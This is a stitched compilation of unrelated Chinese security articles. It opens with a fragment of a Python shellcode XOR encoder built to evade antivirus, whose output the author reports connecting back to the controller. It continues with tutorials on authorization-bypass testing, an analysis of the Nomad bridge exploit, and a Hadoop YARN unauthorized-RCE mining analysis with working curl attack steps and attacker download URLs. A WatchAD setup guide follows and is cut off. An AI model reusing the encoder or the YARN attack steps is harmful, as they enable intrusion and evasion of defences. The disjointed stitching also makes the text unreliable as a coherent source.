while reg_1 in reg_caches:
reg_1 = random.choice(regs)
code = append_code(
code,
asm = "mov {},{}".format( reg_1,stack_head)
)
#fpus command
code = append_code(
code,
asm = "fpus",
bytes_code = random.choice( fpus ),
compile=False
)
# print(code)
# code += ["mov {},{}".format( reg_1,stack_head)]
location_ss = random.randint(3,12)
# code += ["fnstenv [{} - {}]".format(reg_1,hex(location_ss * 4))]
code = append_code(
code,
asm = "fnstenv [{} - {}]".format(reg_1,hex(location_ss * 4))
)
code = append_code(
code,
asm="sub {},{}".format( stack_head,hex( (location_ss - 3)*4 ) )
)
code = append_code(
code,
asm = "pop {}".format(reg_1)
)
# print(code)
# code += ["sub esp,{}".format( hex( (location_ss - 3)*4 ) ) ]
# code += ["pop {}".format(reg_1)]
key_table = [ i for i in range(0x80,0xFF) ]
key = bytes([ random.choice( key_table ) for i in range(4) ])
print("[*] the decode key is: {}.".format(key))
key_int = struct.unpack("<I",key)[0]
reg_2 = random.choice( reg_caches )
while reg_2 in reg_caches:
reg_2 = random.choice(regs)
if reg_2.startswith("r"):
reg_2 = reg_2.replace("r","e")
# print( "mov {},{}".format(reg_2,key_int ) )
code = append_code(
code,
asm="mov {},{}".format(reg_2,key_int )
)
# code += ["mov {},{}".format(reg_2,key_int )]
code = append_code(
code,
asm="xor ecx,ecx"
)
# code += [ "xor ecx,ecx" ] # loop count
code_length = len(shellcode) # 修正这个长度
print("[*] len of shellcode : {}.".format(code_length))
code_length += 4 + (4 - (code_length & 3)) & 3
print("[*] encode length is: {}.".format(code_length))
code_length //= 4
if (code_length <= 255):
# code += ["mov {},{}".format("cl",code_length) ]
code = append_code(
code,
asm="mov {},{}".format("cl",code_length)
)
elif (code_length <= 65536):
# code += ["mov {},{}".format("ecx",code_length) ]
code = append_code(
code,
asm="mov {},{}".format("ecx",code_length)
)
dd = 0x23 # header length
'''
# 查 intel 手册得知
xor [reg+offset],reg # 此变长指令在 offset <= 0x7F 为定长三字节
'''
code = append_code(
code,
asm="decode: xor [{}+{}],{}".format( reg_1,dd,reg_2 )
)
decode_label = code[-1]["index"]
# code += [ "decode: xor [{}+{}],{}".format( reg_1,dd,reg_2 ) ] # 查 intel 手册得知此指令为 3 字节
# code += [ "add {},[{}+{}]".format( reg_2,reg_1,dd ) ] # 先不实现这个逻辑
code = append_code(
code,
asm = "add {},4".format(reg_1)
)
current_index = code[-1]["index"] + len( code[-1]["bytes_code"] )
# append loop
code = append_code(
code,
asm="loop decode",
bytes_code=b"\xe2" + bytes( [0xFF - (current_index + 2 - decode_label) + 1 ] ),
compile=False
)
# print(code)
all_code_length = code[-1]["index"] + len(code[-1]["bytes_code"])
fpus_addr = 0
print("[*] original code:")
# 计算fpus指令地址之后的指令长度，来修正 xor 指令的偏移
for t,i in enumerate(code):
print("\t{}:\t{}\t\t{}".format(i["index"],i["asm"],i["bytes_code"]))
asm = i["asm"]
index = i["index"]
if "fpus" in asm:
fpus_addr = index
if "decode" in asm:
code[t]["bytes_code"][2] = all_code_length - fpus_addr - ( code_length * 4 - len(shellcode) )
break
print("[*] fix code:")
decodeSub = []
for t,i in enumerate(code):
print( "\t{}:\t{}\t\t{}".format(i["index"],i["asm"],i["bytes_code"]))
decodeSub += i["bytes_code"]
return decodeSub,shellcode,code_length*4,key
# code += ["loop decode"]
**代码是临时写的，所以逻辑比较乱。等以后有时间了开发一个框架出来，再进行优化吧**
接下来把 decodeSub 和 shellcode 的内容依据 `key` 进行加密：
def xor_encrypt(decodeSub,shellcode,length,key):
key = [i for i in key]
allcode = decodeSub + shellcode
subCode = allcode[-length:]
for k,v in enumerate(subCode):
subCode[k] ^= key[ k%4 ]
allcode[-length:] = subCode
return allcode
经过测试，shellcode 的功能正常，可以正常会连控制端:
上传到vt上进行检测:
竟然两个引擎报毒，这是出乎了我的意料，不过没关系，我们日后再慢慢解决。本节内容到此为止。 | 社区文章 |
# 【技术分享】聊聊越权那些事儿
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **三思之旅**](http://bobao.360.cn/member/contribute?uid=1630860495)
**稿费：300RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**前言**
最近在帮合作单位做渗透测试，这是我入行以来第一次参与正式项目。怀着激动而忐忑的心情测了两周，我一共发现了十几个漏洞，其中大部分还都是高危漏洞。终于没有交白卷，忐忑的心情终于放下，现在心里只剩一点小激动，一点成就感。
渗透测试是一个既需要技术，又需要经验的活儿。思来想去，趁现在兴奋劲儿还没过，赶紧做一下总结，毕竟经验是通过实战积累的，而实战之后的总结则是最好的方式。由于在测试中发现的漏洞以“越权”类居多，而且本人的人生中提交的[第一个漏洞](http://bobao.360.cn/learning/detail/3083.html
"【技术分享】针对某APP的漏洞挖掘\(抓包+逆向=挖到大漏洞\)")也是越权，所以这里就先聊聊越权的那些事儿。
**什么是越权**
越权（或者说权限提升，Privilege
Escalation）是指攻击者能够执行他本身没有资格执行的一些操作，属于“访问控制”的问题。用大白话讲，越权就是“超越了你你拥有的权限，干了你本来不可能干的事儿”。先来几个越权的例子：
[Winmail普通用户可直接进入后台取得域名管理、用户管理等所有权限](http://www.wooyun.org/bugs/wooyun-2014-057890
"Winmail普通用户可直接进入后台取得域名管理、用户管理等所有权限")
[大华DSS平台低权限账户越权直接修改system密码](http://www.wooyun.org/bugs/wooyun-2016-0194741
"大华DSS平台低权限账户越权直接修改system密码")
[前程无忧越权访问个人简历（简单测试上万份简历可查看）](http://www.wooyun.org/bugs/wooyun-2016-0192676
"前程无忧越权访问个人简历（简单测试上万份简历可查看）")
[易企秀越权修改信息致任意用户登入](http://www.wooyun.org/bugs/wooyun-2016-0191904
"易企秀越权修改信息致任意用户登入")
一般情况下，常见的访问控制方式有三种：垂直访问控制、水平访问控制和上下文相关的访问控制。垂直访问控制允许不同类型的用户（常见的有基于角色划分用户类型）访问应用程序的不同功能，例如在某系统中普通用户只能执行有限的操作，管理员则拥有最高权限。水平访问控制允许用户访问一组相同类型的资源，如在一个网银系统中，每个用户只能看到他自己的账户信息，只能操作自己的账户进行转账。而上下文相关的访问控制可确保基于应用程序当前的状态，限制用户仅能访问所允许的内容，如在常见的找回/修改密码功能中，必须通过身份验证才能重新设置密码。许多情况下，垂直访问控制与水平访问控制会相交交叠，配合使用。
如果在一个应用中，用户能够访问他本身无权访问的功能或者资源，就说明该应用存在访问控制缺陷，也就是说存在越权漏洞。与访问控制相对应的，将越权分为垂直越权、水平越权和上下文相关的越权。
垂直越权：如果攻击者能够执行某项功能，而他所属的角色并不具备该权限，这就存在垂直越权漏洞，如上述示例中前两个例子。
水平越权：如果攻击者能够执行与自己同级别的其他用户能够执行的操作，这就存在水平越权漏洞，如上述示例中的后两个例子。
上下文相关的越权：如果攻击者能够利用应用程序状态机中的漏洞获得关键资源的访问权限，这就存在上下文相关的越权。如在找回密码过程中，攻击者使用自己的账户信息通过验证，但最终却通过某种手段（例如使用BurpSuite改数据包）将他人的密码进行了修改。上下文相关的越权漏洞一般属于业务逻辑漏洞。
**为什么会出现越权**
通常情况下，我们使用一个web应用程序提供的功能时，流程是：登录—>提交请求—>验证权限—>数据库查询—>返回结果。如果在“验证权限”环节存在缺陷，那么便会导致越权。一种常见的存在越权的情形是：Web应用程序的开发者安全意识不足，认为通过登录即可验证用户的身份，而对用户登录之后的操作不做进一步的权限验证，进而导致越权问题。
**1\. 通过隐藏URL实现访问控制**
有些应用程序仅通过URL实现访问控制。例如：使用管理员身份登录后可以看到后台管理页面的链接，但是以普通用户登录则看不到该链接。在这种情况下，开发者认为普通用户不知道或者很难猜到后台管理页面的URL，因此实现对管理功能的保护。这其实是一种错误观点，因为攻击者完全有可能通过其他方式（如Google
Hacking、HTML/js源码分析、暴力猜解URL、利用其他漏洞等）得到后台管理URL。
**2\. 直接对象引用（Direct Object reference）**
用户提交HTTP请求访问某资源时，被请求资源的标识符常常以GET或者POST请求参数的形式出现在URL查询字符串或者POST请求主体中提交给服务器。例如，在一个网银系统中，用户可以使用以下URL查询账户信息：
https://www.onlinebank.com/viewInfo.php?accountId=12345678
其中accountId是用户自己的账户ID。用户登录自己的账户后，该URL的链接会出现在用户账户页面中，用户点击即可跳转到账户信息页面。虽然其他用户无法看到这个链接，但是如果该网银系统的访问控制不完善，攻击者完全可以通过枚举accountId进而构造出URL，然后越权查看他人的账户信息。
**3\. 多阶段功能**
应用程序的一些功能通过几个阶段执行，并且在执行过程中向服务器依次提交多个请求。这种情况很常见，比如转账功能、找回密码功能等，需要先验证用户的身份，验证通过后才允许用户执行后续动作。多阶段功能本身并没有问题，但是如果开发者认为到达验证过程后续阶段的用户一定已经拥有了相关的权限，并在后续阶段执行操作时不再对用户提交的请求进行验证，那么就很有可能存在越权漏洞。攻击者完全有可能绕过前几阶段的验证阶段，直接执行后续的动作。讲一个我在测试中遇到的真实的案例。
某网站在找回密码时做了很严格的验证，需要验证姓名、手机号、身份证号等信息，验证通过了才能修改密码。那么问题来了，既然做了这么严格的验证，怎么还会存在越权？该网站的“找回密码”功能被设计成了两步（提交了两个请求报文）：第一步验证用户身份，这时提交第一个请求报文，验证成功之后，进入第二步；第二步才是真正的修改密码的动作，而修改密码的POST数据包有3个请求参数，分别是新密码、确认新密码以及账号值。问题就出在第二步，在执行修改密码的动作时，服务器并未验证被修改密码的账户是否是第一步中通过身份验证的账户，因此攻击者可以很容易的以自己的身份通过认证，然后修改第二步提交的报文，实现对任意账户的密码修改！
**4\. 静态文件**
有些Web应用程序在用户访问动态页面时会执行相应的访问控制检查，以确定用户是否拥有执行相关操作所需的权限。但是，用户仍然会提交对静态资源的访问请求，如下载网站中的word、excel、pdf文档等。这些文档都是完全静态的资源，其内容直接由Web服务器返回，它并不在服务器上运行。因此，静态资源自身并不能执行任何检查以确认用户的访问权限。如果这些静态资源没有得到有效的保护，那么任何知晓URL命名规则的人都可以越权访问这些静态资源。这种情况的越权也很常见，而且即使不知道URL命名规则，完全有可能通过Google
hacking搜索到敏感文件。
**5\. 平台配置错误**
一些应用程序通过在Web服务器或应用程序平台层使用控件来控制对特定URL路径的访问。例如，有些应用程序会根据用户角色来限制对管理后台路径（如/admin）的访问，如果用户不属于“管理员”组，则拒绝其访问后台管理页面的请求。但是，如果在配置平台及控件时出现错误，就可能导致越权访问。
**
**
**越权漏洞怎么挖**
首先，找出疑似存在越权漏洞的请求。存在越权漏洞的请求有一定的特点，可以从两个方面下手。
从HTTP请求上来说，就是通过BurpSuite抓取在目标站点正常操作所产生的请求数据包，然后找出可能产生越权的请求。一般情况下，类似上文所述URL的GET或者POST请求都要列为重点怀疑对象：
https://www.onlinebank.com/viewInfo.php?accountId=12345678
从业务功能上来说，找到容易产生越权的功能点。常见的越权高发功能点有：根据订单号查订单、根据用户ID查看帐户信息、修改/找回密码等。
确定了怀疑对象之后，还需要进一步的分析，以确定是否真的存在越权。这时，需要两个不同的账号（下文分别称为账号A和账号B），以便测试登录账号A后进行操作能否影响到账号B。注意在浏览器中测试时，需要使用两个浏览器分别登录不同的账号，或者使用浏览器的隐私浏览功能登录其中一个账号。
以上文提到的URL为例进行说明。假设账号A的id为1234，账号B的id为5678，BurpSuite中抓取的数据包都是在账号A的。我的习惯做法是：在BurpSuite中将该请求发送到Repeater，然后将参数id的值修改为5678，最后提交修改后的请求包；服务器返回响应后，可以看一下BurpSuite中收到的响应报文。如果响应报文直接提示错误之类的，基本上可以确定此处不存在越权；如果响应报文提示操作成功，此时应该使用浏览器登录账号B进行二次确认，如果数据确实有相应的改动，那么则说明这里存在越权漏洞。这里需要注意：BurpSuite中报文提示操作成功有可能是误报，必须在浏览器中进行再次确认。而对于查询订单这类的请求来说，情况更简单了，修改参数id提交请求，如果返回了账号B的数据，那么就可以确定存在越权。
当然，越权漏洞的攻击点不仅仅存在于请求参数中，还有可能在Cookie中。因此，需要具体情况具体分析，复杂一点的可能还需要Cookie值配合请求参数值以实现越权攻击。
**
**
**总结**
实现应用程序的完善的访问控制不是件容易的事，因此越权漏洞防不胜防。对于开发者而言，一定要有安全意识，时刻保持警惕。以下是几点建议：
永远不要相信来自客户端（用户）的输入！
执行关键操作前必须验证用户身份，多阶段功能的每一步都要验证用户身份。
对于直接对象引用，加密资源ID，以防止攻击者对ID进行枚举。
在前端实现的验证并不可靠，前端可以验证用户的输入是否合规，在服务器端验证用户权限。
**参考文献**
[黑客攻防技术宝典：Web实战篇（第2版）](https://book.douban.com/subject/10793814/
"黑客攻防技术宝典：Web实战篇（第2版）")
[我的越权之道](http://drops.wooyun.com/tips/727 "我的越权之道")
[What is privilege escalation](https://www.icann.org/news/blog/what-is-privilege-escalation "What is privilege escalation")
[Direct Object References and Horizontal Privilege
Escalation](https://www.outpost24.com/direct-object-references-and-horizontal-privilege-escalation/ "Direct Object References and Horizontal Privilege
Escalation")
[](https://www.outpost24.com/direct-object-references-and-horizontal-privilege-escalation/ "Direct Object References and Horizontal Privilege
Escalation") | 社区文章 |
# Nomad 跨链桥被盗1.8亿美元事件分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x1 事件背景
零时科技区块链安全情报平台监控消息，北京时间2022年8月2日，跨链解决方案 Nomad 遭到黑客攻击。WETH、WBTC、USDC
以每次百万美元的频次转出，合约中仍有 1.26 亿美元可能存在风险。零时科技安全团队及时对此安全事件进行分析。
## 0x2 攻击信息
* **部分攻击交易**
0x96a2cfadb19cac9ba2a21c1f32b6f21b6132afe1b4f4698dee563ca01ec20e01 转移 USDC
0x811a54270e38154c30e65bdb8ee484883f5a9659dd16f1a335f9ff8f7eee342f 转移 WETH
0x12efbc03ecc8d56ebbadd637dbfc30c0d709b463e2c831034233427dfaecf777 转移 FRAX
0xc78bc10c77ca92693513e5b97b4a0063167ca8488b019f6b740bc9f8cad103bf 转移 CQT
0x8c65b2b25be2c929d86f1fb556aa0b981bd54c2ad54d8de63d3876c4c833293e 转移 DAI
0x5304e01a4cb926523f681bc34a8b71a1dfae35b5a5159f78aecc7f685f42422c 转移 CARDS
* **被攻击合约**
0xB92336759618F55bd0F8313bd843604592E27bd8 Replica
## 0x3 攻击分析
从上述攻击交易进行分析，攻击者在该笔交易中进行10次相同流程从Nomad:ERC20 Bridge中转移资金操作。
每次调用流程中均会调用Replica.process()方法，并且传入的参数基本一致，唯一不同的是当时生成合约地址。
跟进Replica.process()方法
这里process方法注释中，明确了该方法会检查传入消息是否包含可接受的默克尔根，如果消息没有被证明，就会回退。这里主要的判断在185行。
这里传入的参数，赫然是0x000…000，跟进判断方法acceptableRoot()
上图的判断中，前两个if判断条件均不会成立，传入_root为零，而Replica合约中LEGACY_STATUS_PROVEN和LEGACY_STATUS_PROCESSED均已设置不为零。
下面的判断条件中，当_time为零，结果会是
false，也就是acceptableRoot方法返回值为true只有一种可能性，confirmAt[0x000…000]不等于零，该值初始化时会赋值为1，难道初始化传入的是0x000…000，并且从结果来看执行成功。
这是什么情况，继续跟进Replica合约的初始化传参。
41天前，该平台人员将合约部署后，执行了初始化操作，并且这里初始化内容均为0。到这里就非常清楚了，由于初始化将 0x000..000
merkle根赋予了可以接受的根，所以在默认的情况下每一条消息都会通过证明，从而转移Nomad桥资金。
## 0x4 攻击核心
**Replica.initialize**
**由于Replica合约初始化时，_committedRoot传入了零值，导致之后合约中的confirmAt[0x000…000]均为true。在process方法中可直接通过判断条件，导致每条消息在默认情况下都被证明有效，任何人都可以发送构造消息转移资金。**
## 0x5 总结及建议
截止目前Nomad中已转移资金超过1.8亿美元，通过此次攻击来看，合约部署者在初始化合约时未对传入参数进行针对性赋值，而是传入全零的值，导致合约中部分判断条件恒为true，任何人都可通过发送构造消息转移资金，目前
Nomad 官方正在调查，暂未提供退还跨链桥资金的说明。
**安全** **建议**
1. 建议合约初始化时对传入参数进行针对性赋值，避免出现默认零传参导致合约风险
2. 建议合约开发人员对审计报告中风险提示严格验证，避免疏忽风险内容引起合约风险 | 社区文章 |
简介
可靠且免费的网络扫描器可以分析 LAN。该程序可扫描所有网络设备，使您能够访问共享文件夹和 FTP 服务器，（通过 RDP 和
Radmin）远程控制计算机，甚至还能够远程关闭计算机。该程序不仅易于使用，而且运行起来如同便携版一般轻松。它是每个网络管理员的首选程序。
主要特性
轻松访问网络共享资源通过 RDP 和 Radmin 对计算机进行远程控制MAC 地址检测远程启动/关闭计算机导出为 CSV无需安装兼容Windows 10
使用 Advanced IP Scanner
一、网络扫描
1. 输入所需的 IP 地址范围（工具栏中的“IP”按钮将帮助您设置网络 IP 地址范围）。
2. 单击“扫描”。 扫描结束后，您将得到网络内的计算机列表。
二、Radmin 和 Advanced IP Scanner
Radmin 是适用于 Windows 系统的最佳远程控制软件之一，它允许您使用标准的图形界面远程操作计算机，好像您就坐在计算机前操作一样。
1. 从网络扫描结果中或从“收藏夹”选项卡中选择所需的计算机。
2. 如果在计算机上检测到 Radmin Server，则右键单击 Radmin 选项，从快捷菜单中选择所需的 Radmin 连接类型。 若要连接到远程计算机，您需要在您的计算机上安装 Radmin Viewer。 您可从此处下载免费的 Radmin Viewer：www.radmin.cn/download/。
还可使用便携版 Radmin Viewer。可在“设置 → 选项… → 其他”中启用“使用便携版 Radmin Viewer”并指定路径。
三、"C"类子网工具栏按钮
此功能允许您将起始 IP 地址设置为 **_._**. ** _.0，将结束 IP 地址设置为_**. ** _._**.255，其中“***”是输入的
IP 地址当前值。
要执行此操作:
工具栏 - "C"类子网”按钮。
四、工具栏 - 当前计算机子网
此功能允许您根据计算机的子网掩码设置起始和结束 IP 地址。
要执行此操作:
工具栏 - "IP"按钮。
五、四大功能
Ping：执行Ping操作。Tracert：路由追踪。
Telnet：启动在标准 Telnet 端口上与所选计算机连接的终端机。SSH：允许您通过用户选择的 SSH 客户端连接至所选的计算机。
工具下载
链接: <http://pan.baidu.com/s/1ckmo3c> 密码: 95z2 | 社区文章 |
作者：[绿盟科技 & 中国电信安全帮](http://www.nsfocus.com.cn/content/details_62_2646.html
"绿盟科技")
在“互联网 +”时代，物联网发展迅猛，正加速渗透到生产、消费和社会管理等各领域，物联网设备规模呈现爆发性增长趋势，万物互联时代正在到来。
物联网是继计算机、互联网之后的又一新的信息科学技术，目前，世界主要国家已将物联网作为抢占新一轮经济科技发展制高点的重大战略，我国也将物联网作为战略性新兴产业，在
2016
年国家“十三五”规划指出：要积极推进物联网发展，推进物联网感知设施规划布局，发展物联网开环应用，加快物联网基础设施建设和应用推广已经上升到了国家战略层面。
然而在物联网迅猛发展的同时，物联网安全成了产业痛点。为进一步加强物联网安全建设，向社会提供有关物联网安全状况的权威数据，中国电信安全帮携手北京神州绿盟信息安全科技股份有限公司(以下简称“绿盟科技”)联合发布《2017
物联网安全研究报告》。
报告主要包括 4 部分。
第一部分采用分层架构思想，由底而上的分析物联网安全风险，提出各层安全需求，并 对物联网典型行业应用的安全风险进行分析。
第二部分针对物联网安全状况进行分析，包括物联网资产暴露情况分析、2017 十大物联 网安全事件分析、2017
十大物联网恶意软件分析，揭示物联网安全防护的必要性和紧迫性。
第三部分针对物联网安全问题，提升物联网安全总体防护水平，给出物联网安全体系架构及解决方案。
第四部分从物联网安全产业发展趋势、物联网安全新技术探索两个方面对物联网安全发展进行展望，同时给出了物联网安全建设的发展建议。
本报告在编写过程中参考了大量资料，吸取了多方的宝贵意见和建议，在此深表感谢。
报告的编写和发布得到相关单位的大力支持，我们在此表示衷心的感谢!欢迎广大读者批评、 指正。
完整内容请下载[《2017
物联网安全研究报告》](http://www.nsfocus.com.cn/upload/contents/2017/12/20171205171653_35944.pdf
"《2017 物联网安全研究报告》")
* * * | 社区文章 |
# Hadoop Yarn REST API未授权漏洞利用挖矿分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Fooying@云鼎实验室 2018/05/30
## 一、 背景
5月5日腾讯云安全曾针对“攻击者利用Hadoop Yarn资源管理系统REST
API未授权漏洞对服务器进行攻击，攻击者可以在未授权的情况下远程执行代码”的安全问题进行预警，在预警的前后我们曾多次捕获相关的攻击案例，其中就包含利用该问题进行挖矿，我们针对其中一个案例进行分析并提供响应的安全建议和解决方案。
## 二、 漏洞说明
Hadoop是一个由Apache基金会所开发的分布式系统基础架构，YARN是hadoop系统上的资源统一管理平台，其主要作用是实现集群资源的统一管理和调度，可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上，通过YARN来管理资源。简单的说，用户可以向YARN提交特定应用程序进行执行，其中就允许执行相关包含系统命令。
YARN提供有默认开放在8088和8090的REST API（默认前者）允许用户直接通过API进行相关的应用创建、任务提交执行等操作，如果配置不当，REST
API将会开放在公网导致未授权访问的问题，那么任何黑客则就均可利用其进行远程命令执行，从而进行挖矿等行为。
**攻击步骤：**
1. 申请新的application
直接通过curl进行POST请求
curl -v -X POST ‘<http://ip:8088/ws/v1/cluster/apps/new-application>‘
返回内容类似于：
构造并提交任务
构造json文件1.json，内容如下，其中application-id对应上面得到的id，命令内容为尝试在/var/tmp目录下创建11112222_test_111122222文件，内容也为111：
然后直接
curl -s -i -X POST -H ‘Accept: application/json’ -H ‘Content-Type:
application/json’ <http://ip:8088/ws/v1/cluster/apps> —data-binary
[@1](https://github.com/1 "@1").json
即可完成攻击，命令被执行，在相应目录下可以看到生成了对应文件
更多漏洞详情可以参考 <http://bbs.qcloud.com/thread-50090-1-1.html>
## 三、 入侵分析
在本次分析的案例中，受害机器部署有Hadoop YARN，并且存在未授权访问的安全问题，黑客直接利用开放在8088的REST
API提交执行命令，来实现在服务器内下载执行.sh脚本，从而再进一步下载启动挖矿程序达到挖矿的目的。
整个利用过程相对比较简单，通过捕捉Hadoop 的launch_container.sh执行脚本，我们可以看到其中一个案例中相关任务执行的命令：
可以很明显的看到第8行位置，从185.222.210.59下载并执行了一个名为x_wcr.sh的脚本。
在实际过程中，我们从多个案例捕获了多个比如名为cr.sh的不同脚本，但实际的功能代码都差不多，我们对其中一个x_wcr.sh脚本进行分析，代码自上而下内容：
这部分代码主要针对已存在的挖矿进程、文件进行清理。
这部分的代码主要是判断如果/tmp/java是一个存在并且可写的文件，那么就判断其MD5值是否匹配，MD5不匹配则根据w.conf关键词查找并kill进程；如果非可写的文件，则重新赋值DIR变量，这个变量主要用于后面部分代码中下载挖矿等程序存放目录。
然后接着是一些变量的赋值，包括再次判断如果/tmp/java是一个目录，则重新赋值DIR变量；判断curl和wget命令是否存在，存在则赋值到WGET变量；f2则是赋值为某个IP，实则为是后续下载相关文件的服务器之一。
这部分代码是其中比较核心的代码，通过downloadIfNeed方法下载挖矿程序到$DIR目录下并重命名为java，下载w.conf配置文件，给挖矿程序增加执行权限，然后以nohup命令后台运行挖矿程序并删除配置文件；接着检查crontab中的任务，如果不存在对应的任务，就将下载执行脚本的任务”
* $LDR <http://185.222.210.59/cr.sh> | sh > /dev/null 2>&1”添加到其中,这里$LDR为wget
-q -O -或者curl，任务每分钟执行一次。
脚本中还包含了几个嵌套调用的download方法，入口方法是downloadIfNeed：
这个方法的核心功能还是校验已存在的挖矿程序的MD5，如果无法验证或者文件不存在的情况，则直接调用download方法下载挖矿程序；如果文件存在但MD5匹配不正确，则调用download方法后再次验证，验证失败则尝试从另外一个下载渠道<https://transfer.sh/WoGXx/zzz>
下载挖矿程序并再次验证。最后还将相关结果上报到目标服务器$f2的re.php.
tmp.txt内容示例：
download方法判断ppc文件的存在与否和 MD5是否匹配，如果不存在或MD5不匹配则调用download2下载，如果存在则复制重名为java。
在脚本的最后部分还有一些进程、文件、crontab清理的处理，用pkill删除满足条件的进程，删除tmp目录下pscd开头的文件，以及说删除crontab中存在某些关键词的任务。
至此，我们完成整个脚本的分析，虽然整个脚本比较冗长，而且似乎各个函数嵌套调用，涉及文件也众多，但其实整体就做了以下几件事：
1. 清理相关的进程、文件和crontab任务
2. 判断并下载挖矿程序，同时校验MD5值，除了黑客自己控制的服务器，还利用<https://transfer.sh> 提供备用下载，多种方式保障
增加脚本下载执行任务添加到crontab里
其实，我们通过查看YARN的日志文件yarn-root-nodemanager-master.hadoop.log也可能看到相应的痕迹：
或者我们通过管理UI查看application详情：
而crontab的任务日志也能看到相关的执行记录：
最终在/var/tmp目录下也能找到相关的文件
## 四、 安全建议
**清理病毒**
1. 使用top查看进程，kill掉异常进程
2. 检查/tmp和/var/tmp目录，删除java、ppc、w.conf等异常文件
3. 检查crontab任务列表，删除异常任务
4. 排查YARN日志，确认异常的application，删除处理
**安全加固**
5. 通过iptables或者安全组配置访问策略，限制对8088等端口的访问
6. 如无必要，不要将接口开放在公网，改为本地或者内网调用
7. 升级Hadoop到2.x版本以上，并启用Kerberos认证功能，禁止匿名访问
8. 云镜当前已支持该漏洞检测，同时也支持挖矿木马的发现，建议安装云镜并开通专业版，及时发现漏洞并修复或者在中马后能及时收到提醒进行止损
更多自检和修复建议可以参考 <http://bbs.qcloud.com/thread-50090-1-1.html>
## 五、 IOCs
钱包地址**
4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
MD5
1. c8c1f2da51fbd0aea60e11a81236c9dc
2. 183664ceb9c4d7179d5345249f1ee0c4
3. b00f4bbd82d2f5ec7c8152625684f853
**矿池地址**
4. 158.69.133.20:3333
5. 192.99.142.249:3333
6. 202.144.193.110:3333
7. 46.30.43.159:80
**部分相关URL**
8. <http://185.222.210.59/x_wcr.sh>
9. <http://185.222.210.59/re.php>
10. <http://185.222.210.59/g.php>
11. <http://185.222.210.59/w.conf>
12. <http://185.222.210.59/cr.sh>
13. <http://192.99.142.226:8220/w.conf>
14. <http://192.99.142.226:8220/xm64>
15. <http://192.99.142.226:8220/cr.sh>
16. <http://95.142.40.83/xm64>
17. <http://95.142.40.83/xm32>
18. <https://transfer.sh/1o3Kj/zzz>
19. <https://transfer.sh/wbl5H/pscf>
20. <https://transfer.sh/WoGXx/zzz> | 社区文章 |
## WatchAD攻防实战
WatchAD是0KEE
Team研发的开源域安全入侵感知系统，WatchAD收集所有域控上的事件日志和kerberos流量，通过特征匹配、Kerberos协议分析、历史行为、敏感操作和蜜罐账户等方式来检测各种已知与未知威胁，功能覆盖了大部分目前的常见内网域渗透手法。目前支持的具体检测功能如下：
系统架构如下：
WatchAD包括Server端、WatchAD
agent和前Web前端，同时需要准备域环境，在域控中安装winlogbeat实现域控日志发送至WatchAD
Server端进行检测，安装部署比较复杂，下面通过实战进行详细介绍。本次实战环境如下：
WatchAD Server：Centos7，192.168.159.130
WatchAD Web ：kali，192.168.159.131
AD域控服务器：Windows server 2008，域名：Motoo.nc，192.168.159.149
AD域内服务器：Windows server 2012，192.168.159.154
攻击机：kali，192.168.159.131
**0x01 WatchAD Server端安装部署**
WatchAD
Server端操作系统选择CentOS7（笔者之前选择kali、ubuntu等Linux系统，踩坑无数，不建议使用），如果是虚拟机部署测试，由于需要在CentOS7中部署ES、Logstash、redis、mongodb、docker等软件，需要比较高的性能，建议虚拟机内存2G以上，CPU双核以上，否则在后续运行会出现内存报错等问题。
1、更新centos7系统（前提已添加yum源，国内建议用阿里云源）
`# yum -y update`
2、安装git命令工具
`# yum install git –y`
3、由于该项目需要python3环境运行，需要安装python3以及pip3
`# yum install -y python36`
`#yum -y install epel-release #添加源`
`#yum install -y python36-setuptools #安装python tools插件`
4、从github下载watachAD服务器端源码
`git clone https://github.com/0Kee-Team/WatchAD.git`
5、进入WatchAD目录，安装项目所需要的python包
`# pip3 install -r requirements.txt`
6、安装安装docker
`# yum -y install docker #使用yum安装dokcer`
`systemctl start docker.service #启动dokcer`
`systemctl enable docker.service #设置为开机自启动`
7、安装docker-compose
`# curl -L "https://github.com/docker/compose/releases/download/1.23.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose # 下载docker-compose`
`#chmod +x /usr/local/bin/docker-compose # 添加可执行权限`
8、docker本地单机搭建watchAD测试环境
进入WatchAD目录中，启动基础环境
`#docker-compose up #将在本地启动 rabbitmq、logstash、elasticsearch、redis、mongo服务`
注意，在实际测试环境中，docker-compose部署logstash组件时，经常报错，笔者将logstash进行实地部署，不采用docker部署方式，需要将WatchAD
server端的docker-compose.yaml配置文件中的相关配置去除：
9、安装logstash：
自ELK官网下载RPM包，链接：<https://artifacts.elastic.co/downloads/logstash/logstash-6.4.1.rpm>
`# wget https://artifacts.elastic.co/downloads/logstash/logstash-6.4.1.rpm`
`# rpm -ivh logstash-6.4.1.rpm`
编辑
/etc/logstash/logstash.conf，
使其内容如下(配置文件内容复制自watchAD代码中的settings/logstash/logstash.conf)：
启动logstash
`# cd /usr/share/logstash/bin`
`# ./logstash -f /etc/logstash/logstash.conf`
至此，整个WatchAD Server端基础环境已启动完毕。注意，需要关闭防火墙：
`systemctl stop firewalld.service`
**0x02 部署客服端watchAD agnet**
1.客服端开启策略审核(域控制器上配置）
我们的分析基础是所有域控的所有事件日志，所以首先需要打开域控上的安全审核选项，让域控记录所有类型的事件日志。这里以 windows server
2008为例，在 本地安全策略 -> 安全设置 -> 本地策略 -> 审核策略，打开所有审核选项：
2.安装agnet winlogbeat
首先，打开我们提供的配置文件 {project_home}/settings/winlogbeat/winlogbeat.yml
，修改output.logstash 的 hosts字段值为你所安装的LogstashIP和端口（默认5044）
`# vi ./WatchAD/settings/winlogbeat/winlogbeat.yml
#修改hosts字段中的ip地址（注意ingnore_older缩进，源码中缩进存在问题）`
3.安装和配置winlogbeat(在域控主机上安装）
